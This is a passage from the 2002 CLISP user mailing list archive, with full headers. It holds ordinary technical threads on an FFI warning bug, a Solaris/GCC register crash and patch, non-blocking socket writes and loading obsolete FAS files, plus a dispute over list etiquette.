X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200209161820.g8GIK1vm007394@van-halen.alma.com> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 18 17:52:03 2002 X-Original-Date: 18 Sep 2002 18:30:08 -0400 > * In message <200209161820.g8GIK1vm007394@van-halen.alma.com> > * On the subject of "[clisp-list] Warnings setting FFI:DEFAULT-FOREIGN-LANGUAGE" > * Sent on Mon, 16 Sep 2002 14:20:01 -0400 > * Honorable "John K. Hinsdale" writes: > > For my "C" oracle module I'm moving to the new syntax for defining "C" > call-out functions (DEF-C-CALL-OUT --> DEF-CALL-OUT) but when I set > the default language with > > (default-foreign-language :stdc) > > I get : > Compiling file /u/hin/src/clisp/mysrc/oracle/oracle.lisp ... > WARNING: > SETQ(FFI::*FOREIGN-LANGUAGE*): # is locked > Ignore the lock and proceed > WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-3 in lines 30..31 : > SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE* > > No big deal, but I am doing things just as in the examples and it > seems that should produce no warning. You are rigth - this is a bug, and I just fixed it. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux You can have it good, soon or cheap. Pick two... From amoroso@mclink.it Thu Sep 19 02:40:59 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rxnt-0002RN-00 for ; Thu, 19 Sep 2002 02:40:57 -0700 Received: from net145-014.mclink.it (net145-014.mclink.it [195.110.145.14]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g8J9enU13284 for ; Thu, 19 Sep 2002 11:40:50 +0200 (CEST) From: Paolo Amoroso To: clisp-list@sourceforge.net Subject: Re: [clisp-list] FSF Award Nomination: Bruno Haible Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 02:41:04 2002 X-Original-Date: Thu, 19 Sep 2002 11:36:10 +0200 On 07 Sep 2002 22:45:44 -0400, Sam Steingold wrote: > Please visit > and support nomination of Bruno Haible, the CLISP author. I wrote to award-nominations@gnu.org, but got the following error: save to /com/archive/award-nominations generated by award-nominations-archive@gnu.org (ultimately generated from award-nominations@gnu.org) mailbox /com/archive/award-nominations has wrong uid (0 != 8): retry timeout exceeded I have notified the postmaster and written again. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README From tfb@cley.com Thu Sep 19 03:31:07 2002 Received: from lostwithiel.cley.com ([212.240.242.98]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ryaP-0007po-00 for ; Thu, 19 Sep 2002 03:31:05 -0700 Received: (from tfb@localhost) by lostwithiel.cley.com (8.9.3+Sun/8.9.1) id LAA26942; Thu, 19 Sep 2002 11:30:47 +0100 (BST) X-Mailer: 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid (via feedmail 10 I); VM 7.07 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid From: Tim Bradshaw MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Message-ID: <15753.42837.364085.795194@cley.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Solaris In-Reply-To: References: <15752.25397.260460.367611@cley.com> <15752.47064.466771.329606@cley.com> Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 03:32:02 2002 X-Original-Date: Thu, 19 Sep 2002 11:30:45 +0100 * Sam Steingold wrote: > I was not telling you how to live your life. I was saying that, > with all due respect, we[1] consider your request unreasonable. > There is not need to get rude. I think that asking that I `show respect to the developers' by subscribing and `considering my position untenable' is pretty bloody rude actually. I'm just a clisp user. I use about 40-50 other systems too, most of them much more than clisp. I report bugs in them too, because I think it's kind of useful to do this. Should I subscribe to their mailing lists? do you have *any idea* how much mail I would get if I did? The only thing I could possibly do is to throw it all away, thus doing nothing but using network bandwidth and disk space to no good effect. Do you think the maintainers of these other systems tell me to `show respect to them' by subscribing to their mailing lists when I submit bug reports? Well, I've solved my clisp problem with rm -rf, so you won't have the inconvenience of any further bug reports from me. --tim From bernardp@cli.di.unipi.it Thu Sep 19 05:51:45 2002 Received: from vsmtp3.tin.it ([212.216.176.223] helo=smtp3.cp.tin.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s0mS-00075g-00 for ; Thu, 19 Sep 2002 05:51:41 -0700 Received: from c1p4e3 (212.216.255.17) by smtp3.cp.tin.it (6.5.019) id 3D83269C001A651B; Thu, 19 Sep 2002 14:51:09 +0200 Message-ID: <00ec01c25fdb$03e96860$11ffd8d4@c1p4e3> Reply-To: "Pierpaolo BERNARDI" From: "Pierpaolo BERNARDI" To: , "Fuliang Weng \(RTC\)" Cc: References: <3D87A1E7.4060704@rtc.bosch.com> Subject: Re: [clisp-list] Re: bug report MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 05:52:06 2002 X-Original-Date: Thu, 19 Sep 2002 14:43:21 +0200 From: "Sam Steingold" > I think you are confused by the printed representation. > For some unfathomable reason you want the printed representation to > appear the way you envision. I think his expectations are completely reasonable. Check 22.1.3.5 in the Hyperspec. P. From sds@gnu.org Thu Sep 19 06:45:10 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s1cE-0003u6-00 for ; Thu, 19 Sep 2002 06:45:10 -0700 Received: (cpmta 9113 invoked from network); 19 Sep 2002 06:45:05 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 19 Sep 2002 06:45:05 -0700 X-Sent: 19 Sep 2002 13:45:05 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8JDj1i03165; Thu, 19 Sep 2002 09:45:01 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Tim Bradshaw Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Solaris References: <15752.25397.260460.367611@cley.com> <15752.47064.466771.329606@cley.com> <15753.42837.364085.795194@cley.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15753.42837.364085.795194@cley.com> Message-ID: Lines: 61 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 06:46:03 2002 X-Original-Date: 19 Sep 2002 09:45:01 -0400 > * In message <15753.42837.364085.795194@cley.com> > * On the subject of "Re: [clisp-list] clisp on Solaris" > * Sent on Thu, 19 Sep 2002 11:30:45 +0100 > * Honorable Tim Bradshaw writes: > > * Sam Steingold wrote: > > I was not telling you how to live your life. I was saying that, > > with all due respect, we[1] consider your request unreasonable. > > There is not need to get rude. > > I think that asking that I `show respect to the developers' by > subscribing and `considering my position untenable' is pretty bloody > rude actually. Hmmm... I consider sending e-mail to a mailing list asking for CC to be quite rude too - and I think I am not alone in that. Maybe we both were having a bad day? :-) > I'm just a clisp user. I use about 40-50 other systems too, most of > them much more than clisp. I report bugs in them too, because I think > it's kind of useful to do this. > Should I subscribe to their mailing lists? probably. > do you have *any idea* how much mail I would get if I did? Yes. > The only thing I could possibly do is to throw it all away, thus doing > nothing but using network bandwidth and disk space to no good effect. not necessarily. Both network bandwidth and disk space are irrelevant, they are very cheap these days. The only thing that matters is your (and our!) time. For that we have gnus and gmane: you could either subscribe to and filter it to a clisp mailbox and then read only replies to your messages or you could go to gmane and read via NNTP. > Do you think the maintainers of these other systems tell me to `show > respect to them' by subscribing to their mailing lists when I submit > bug reports? Did you ask them to CC you the replies? > Well, I've solved my clisp problem with rm -rf, so you won't have the > inconvenience of any further bug reports from me. I am sorry to hear this. I do not think this is something anyone would wish for. Farewell. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Let us remember that ours is a nation of lawyers and order. From will@misconception.org.uk Thu Sep 19 07:35:54 2002 Received: from cmailg2.svr.pol.co.uk ([195.92.195.172]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s2PF-0004SY-00 for ; Thu, 19 Sep 2002 07:35:49 -0700 Received: from modem-206.convict-tang.dialup.pol.co.uk ([62.136.251.206] helo=there) by cmailg2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17s2Oz-0002X1-00; Thu, 19 Sep 2002 15:35:33 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Solaris X-Mailer: KMail [version 1.3.2] References: <15752.25397.260460.367611@cley.com> <15753.42837.364085.795194@cley.com> In-Reply-To: <15753.42837.364085.795194@cley.com> Cc: Tim Bradshaw MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 07:36:05 2002 X-Original-Date: Thu, 19 Sep 2002 15:38:52 +0100 On Thursday 19 Sep 2002 11:30 am, Tim Bradshaw wrote: > I think that asking that I `show respect to the developers' by > subscribing and `considering my position untenable' is pretty bloody > rude actually. The best way to do this is to set the Mail-FollowUp-To: header, then these arguments don't tend to happen. From dave@synergy.org Thu Sep 19 09:51:02 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s4W5-0007VJ-00 for ; Thu, 19 Sep 2002 09:51:01 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Thu, 19 Sep 2002 09:50:58 -0700 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 19 Sep 2002 16:50:58.0501 (UTC) FILETIME=[BA7DF750:01C25FFC] Subject: [clisp-list] TCP-based Network Server in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 09:52:04 2002 X-Original-Date: Thu, 19 Sep 2002 09:50:58 -0700 I am trying to implement a TCP-based network server in CLISP. This server accepts requests, processes the request and generates what could potentially be a large amount of data, then sends this response via the requesting socket. The socket remains open for subsequent requests from clients. Thus, input processing is straightforward. A socket-status can be performed while awaiting a request. By using a read-byte-no-hang I can read data until the entire request has been read or until the socket runs out temporarily, i.e. until the next socket-status loop. I am unsure how to address the write case. I can (and currently do) accumulate the output data into an unsigned-byte array and when socket-status indicates the socket can be :outpt to, write the data. The question is, however, how much? By examing the steam code I discovered that when you write to a stream, CLISP assumes you'll write the requested amount. Which means, if I write too much, I'll block waiting for the socket to drain. The problem with this, however, is that a maligicious client can write a request to the socket (ensuring a large response) and then never read the response. This should successfully hang the server. This could be alleviated if there was a write-byte-no-hang or a way to known in advance, how much can be written without blocking. Another approach would be to implement "atomic" I/O functions, i.e. a version of read-sequence or write-sequence which returned the requested amount or actually transferred amount of data. Have other people written network servers in CLISP? Thanks in advance! Dave From jmkatcher@yahoo.com Thu Sep 19 10:26:42 2002 Received: from web14508.mail.yahoo.com ([216.136.224.71]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s54c-0000kL-00 for ; Thu, 19 Sep 2002 10:26:42 -0700 Message-ID: <20020919172641.47372.qmail@web14508.mail.yahoo.com> Received: from [198.95.226.224] by web14508.mail.yahoo.com via HTTP; Thu, 19 Sep 2002 10:26:41 PDT From: Jeffrey Katcher To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Clisp on Solaris Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 10:27:03 2002 X-Original-Date: Thu, 19 Sep 2002 10:26:41 -0700 (PDT) After applying Will Newton's patch (affecting global register declarations in lispbibl.d) 2.30 builds and checks clean. BTW this is the 1st time I've been able to do this with GCC 3.1.1. Many thanks, Jeff Katcher __________________________________________________ Do you Yahoo!? New DSL Internet Access from SBC & Yahoo! http://sbc.yahoo.com From lisp-clisp-list@m.gmane.org Thu Sep 19 12:37:51 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s77V-0001MF-00 for ; Thu, 19 Sep 2002 12:37:49 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17s770-0006RE-00 for ; Thu, 19 Sep 2002 21:37:18 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17s770-0006R5-00 for ; Thu, 19 Sep 2002 21:37:18 +0200 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 22 Message-ID: References: Reply-To: sds@gnu.org NNTP-Posting-Host: 65.114.186.226 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1032464238 20383 65.114.186.226 (19 Sep 2002 19:37:18 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Thu, 19 Sep 2002 19:37:18 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: TCP-based Network Server in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 12:38:03 2002 X-Original-Date: 19 Sep 2002 15:37:43 -0400 > * In message > * On the subject of "TCP-based Network Server in CLISP" > * Sent on Thu, 19 Sep 2002 09:50:58 -0700 > * Honorable "Dave Richards" writes: > > This could be alleviated if there was a write-byte-no-hang (defun write-byte-no-hang (b o) (case (socket-status o 0) ((:io :output) (write-byte b o) b) (t nil))) > or a way to known in advance, how much can be written without > blocking. I don't think this is possible - OS does not tell that. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux OK, so you're a Ph.D. Just don't touch anything. From sds@gnu.org Thu Sep 19 12:52:00 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s7LE-0004bM-00 for ; Thu, 19 Sep 2002 12:52:00 -0700 Received: (cpmta 16770 invoked from network); 19 Sep 2002 12:51:56 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 19 Sep 2002 12:51:56 -0700 X-Sent: 19 Sep 2002 19:51:56 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8JHqPj04785; Thu, 19 Sep 2002 13:52:25 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp on Solaris References: <20020919172641.47372.qmail@web14508.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020919172641.47372.qmail@web14508.mail.yahoo.com> Message-ID: Lines: 44 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 12:52:11 2002 X-Original-Date: 19 Sep 2002 13:52:25 -0400 > * In message <20020919172641.47372.qmail@web14508.mail.yahoo.com> > * On the subject of "[clisp-list] Re: Clisp on Solaris" > * Sent on Thu, 19 Sep 2002 10:26:41 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > After applying Will Newton's patch (affecting global > register declarations in lispbibl.d) 2.30 builds and > checks clean. BTW this is the 1st time I've been able > to do this with GCC 3.1.1. Jeffrey, are you willing to do some more testing? I am highly reluctant to lose the performance boost accorded by the registers, so I would prefer that we make them work instead of disabling them altogether. 1. try this patch instead of Will's: --- lispbibl.d.~1.294.~ Wed Sep 11 16:52:03 2002 +++ lispbibl.d Thu Sep 19 13:48:43 2002 @@ -779,7 +779,7 @@ register long subr_self_reg __asm__(subr_self_register); #endif # Saving "save" registers. - #if (defined(I80386) && !defined(DYNAMIC_MODULES)) || defined(HPPA) || defined(M88000) || defined(ARM) || defined(DECALPHA) || defined(S390) + #if (defined(I80386) && !defined(DYNAMIC_MODULES)) || defined(HPPA) || defined(M88000) || defined(ARM) || defined(DECALPHA) || defined(S390) || (defined(SPARC) && (__GNUC__ >= 3)) #define HAVE_SAVED_REGISTERS struct registers { #ifdef STACK_register and report the results here. 2. what about `-mno-app-regs' GCC option? 3. read and try replacing the registers CLISP uses with %g1-4. thank you very much! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux The world is coming to an end. Please log off. From jmkatcher@yahoo.com Thu Sep 19 14:57:08 2002 Received: from web14510.mail.yahoo.com ([216.136.224.169]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s9IJ-0005iA-00 for ; Thu, 19 Sep 2002 14:57:07 -0700 Message-ID: <20020919215223.2756.qmail@web14510.mail.yahoo.com> Received: from [198.95.226.224] by web14510.mail.yahoo.com via HTTP; Thu, 19 Sep 2002 14:52:23 PDT From: Jeffrey Katcher Subject: Re: [clisp-list] Re: Clisp on Solaris To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 14:58:02 2002 X-Original-Date: Thu, 19 Sep 2002 14:52:23 -0700 (PDT) 1. Fails in the usual way (crash on 1st lisp startup) 2. Same result 3. Couldn't retrieve the cited article, but changed %g[567] references to %g[123] in lispbibl.d. I left the existing %g4 reference alone. Fails as well. Jeff Katcher __________________________________________________ Do you Yahoo!? New DSL Internet Access from SBC & Yahoo! http://sbc.yahoo.com From will@misconception.org.uk Thu Sep 19 15:25:36 2002 Received: from cmailm1.svr.pol.co.uk ([195.92.193.18]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17s9jr-0005jQ-00 for ; Thu, 19 Sep 2002 15:25:35 -0700 Received: from modem-86.calaquendi.dialup.pol.co.uk ([62.136.144.86] helo=there) by cmailm1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17s9jl-0000iu-00 for clisp-list@lists.sourceforge.net; Thu, 19 Sep 2002 23:25:33 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp on Solaris X-Mailer: KMail [version 1.3.2] References: <20020919172641.47372.qmail@web14508.mail.yahoo.com> In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 15:26:02 2002 X-Original-Date: Thu, 19 Sep 2002 23:22:10 +0100 On Thursday 19 Sep 2002 6:52 pm, Sam Steingold wrote: > 1. try this patch instead of Will's: Still crashes. > 2. what about `-mno-app-regs' GCC option? Is only useful if you also apply it to the libraries on your system that may clobber your registers anyway. > 3. read and try > replacing the registers CLISP uses with %g1-4. Hmm, the server is unavailable for me. I tried g1-g4, but they do not work either, and I get warnings about global call-clobbered registers. Adding HAVE_SAVED_REGISTERS and -mno-app-regs did not succeed either. I will ask on the Debian sparc list, they have some gurus there who may be able to shed light on this. In any case, -mno-app-regs takes away registers from the allocator so reduces performance, and the overhead of saving and restoring registers coupled with this may not make the performance impact so great. Here is the section in the gcc code dealing with these registers: On non-v9 systems: g1 is free to use as temporary. g2-g4 are reserved for applications. Gcc normally uses them as temporaries, but this can be disabled via the -mno-app-regs option. g5 through g7 are reserved for the operating system. On v9 systems: g1,g5 are free to use as temporaries, and are free to use between calls if the call is to an external function via the PLT. g4 is free to use as a temporary in the non-embedded case. g4 is reserved in the embedded case. g2-g3 are reserved for applications. Gcc normally uses them as temporaries, but this can be disabled via the -mno-app-regs option. g6-g7 are reserved for the operating system (or application in embedded case). ??? Register 1 is used as a temporary by the 64 bit sethi pattern, so must currently be a fixed register until this pattern is rewritten. Register 1 is also used when restoring call-preserved registers in large stack frames. From sds@gnu.org Thu Sep 19 16:51:30 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sB50-0004aq-00 for ; Thu, 19 Sep 2002 16:51:30 -0700 Received: (cpmta 16903 invoked from network); 19 Sep 2002 16:51:28 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 19 Sep 2002 16:51:28 -0700 X-Sent: 19 Sep 2002 23:51:28 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8JM97811914; Thu, 19 Sep 2002 18:09:07 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Jeffrey Katcher Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp on Solaris References: <20020919215223.2756.qmail@web14510.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020919215223.2756.qmail@web14510.mail.yahoo.com> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 16:52:02 2002 X-Original-Date: 19 Sep 2002 18:09:07 -0400 > * In message <20020919215223.2756.qmail@web14510.mail.yahoo.com> > * On the subject of "Re: [clisp-list] Re: Clisp on Solaris" > * Sent on Thu, 19 Sep 2002 14:52:23 -0700 (PDT) > * Honorable Jeffrey Katcher writes: > > 1. Fails in the usual way (crash on 1st lisp startup) > 2. Same result > 3. Couldn't retrieve the cited article, but changed do a search on google for gcc sparc registers. > %g[567] references to %g[123] in lispbibl.d. I left > the existing %g4 reference alone. Fails as well. what about combining these methods? the command line option should have made %g1-4 available for applications. I guess this is pointless unless you know what you are doing (I do not!) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Never underestimate the power of stupid people in large groups. From sds@gnu.org Thu Sep 19 16:51:32 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17sB52-0004au-00 for ; Thu, 19 Sep 2002 16:51:32 -0700 Received: (cpmta 16906 invoked from network); 19 Sep 2002 16:51:30 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 19 Sep 2002 16:51:30 -0700 X-Sent: 19 Sep 2002 23:51:30 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8JMdsf12884; Thu, 19 Sep 2002 18:39:54 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] what should LOAD do when the FAS file is obsolete? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 19 16:52:02 2002 X-Original-Date: 19 Sep 2002 18:39:54 -0400 Every now and then CLISP bytecode format changes. (last time it was at version 2.28; it might happen again :-) Suppose you compiled file "foo.lisp" with an older CLISP (so that "foo.fas" has obsolete bytecode) and tell a new CLISP (LOAD "foo"). What should CLISP do? Now it sees that there is no file "foo", so it looks in *LOAD-PATHS* for "foo.lisp", "foo.fas", "foo.cl" and "foo.lsp" and tries to load the newest of the found files, i.e., "foo.fas", and then signals an error. CLISP can also do the following: - issue a warning instead and load "foo.lisp" - also delete "foo.fas" so that the next time there will be no warning (and a `make' will recompile "foo.lisp") - recompile "foo.lisp" - this is very problematic: suppose you use DEFSYSTEM and you keep your LISP files in a different directory from the FAS files, then (COMPILE-FILE "foo.lisp") will not clobber the existing bad "foo.fas"; giving COMPILE-FILE the :OUTPUT-FILE argument is a dangerous solution for the following reason: suppose you have directories "zoo/" and "zot/" in your *LOAD-PATHS* and both directories hav "foo.lisp" in them (yes, this is not a very good idea in the first place). The 4 files "foo.lisp" and "foo.fas" may have all combinations of timestamps. So it is possible that we first see an invalid "zoo/foo.fas", and the second newest file is "zot/foo.lisp", and then we call (COMPILE-FILE "zot/foo.lisp" :OUTPUT-FILE 